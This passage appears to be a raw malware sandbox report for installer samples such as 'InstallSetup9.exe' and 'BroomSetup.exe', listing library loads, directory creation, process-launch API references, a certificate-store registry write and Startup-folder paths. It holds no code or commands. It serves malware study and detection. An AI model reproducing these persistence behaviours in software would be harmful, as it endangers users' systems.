"HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "InstallSetup9.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\109F1CAED645BB78B3EA2B94C0697C740733031C"; Key: "BLOB")3c:T689,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001156) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %TEMP%\ (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter C:\Users (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %TEMP%\nss9B66.tmp (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Cookies (UID: 00000000-00003572) "InstallSetup9.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\History (UID: 00000000-00003572) "BroomSetup.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00004256)3d:T5972,"d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00001156) "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00001156) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPTBASE.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter OLEACCRC.DLL (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\OLEACC.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CLBCATQ.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\NTMARTA.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\VERSION.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\SHFOLDER.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %TEMP%\nss9B66.tmp\INetC.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l2-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-ole32-l1-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter WININET (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-shlwapi-l2-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter dhcpcsvc.DLL (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ws2_32 (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00003572) "InstallSetup9.exe" called "LoadLibrary" with a parameter %TEMP%\nss9B66.tmp\Math.dll (UID: 00000000-00003572) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002516) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter netapi32.dll (UID: 00000000-00002516) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter dwmapi.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter uxtheme.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter colorui.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter comdlg32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter compstui.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter inetres.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter WindowsCodecs.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %LOCALAPPDATA%\Microsoft\OneDrive\17.3.4604.0120\FileSyncShell.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\EhStorShell.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\MICROS~3\Office14\GROOVEEX.DLL (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\COMMON~1\MICROS~1\OFFICE14\Cultures\office.odf (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter Comctl32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %PROGRAMFILES%\MICROS~3\Office14\1033\GrooveIntlResource.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\imageres.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter UXTHEME (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter User32 (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %TEMP%\BroomSetup.exe (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter UxTheme.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter IMM32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter comctl32 (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\ole32.dll (UID: 00000000-00004256) "BroomSetup.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\MSCTF.dll (UID: 00000000-00004256) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter msvcr100.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter powrprof.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter wtsapi32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter WINSTA.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\uxtheme.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter SXS.DLL (UID: 00000000-00002180) "288c47bbc1871b439df19ff4df68f076.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00002180)3e:T47b,Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002180.00000000.83897.0B400000.00000004.mdmp, 00000000-00002180.00000001.83914.0B400000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00002516.00000001.83576.0B880000.00000004.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp, 00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00003572.00000000.82404.0040A000.00000004.mdmp, 00000000-00003572.00000000.82404.10001000.00000020.mdmp, 00000000-00003572.00000001.84328.0040A000.00000004.mdmp")3f:T41c,Found reference to API "WinExec" (Indicator: "WinExec"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; File: "d77a59decea0b458372ccc3ace96fcf3726346ef030fb6dd35e0ba64ba734f0b") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; Source: "00000000-00003572.00000000.82404.00408000.00000002.mdmp") Found reference to API "ShellExecuteW" (Indicator: "ShellExecute"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.712F8000.00000002.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp") Found reference to API "ShellExecuteExW" (Indicator: "ShellExecute"; Source: "00000000-00004256.00000000.82684.0081E000.00000004.mdmp, 00000000-00004256.00000001.84604.712F8000.00000002.mdmp, 00000000-00004256.00000002.86530.0081D000.00000004.mdmp")40:T9f8,":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001156.00000001.82229.00533000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001156.00000001.82229.00533000.00000004.mdmp ":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001156.00000001.82229.00533000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001156.00000001.82229.00533000.00000004.mdmp 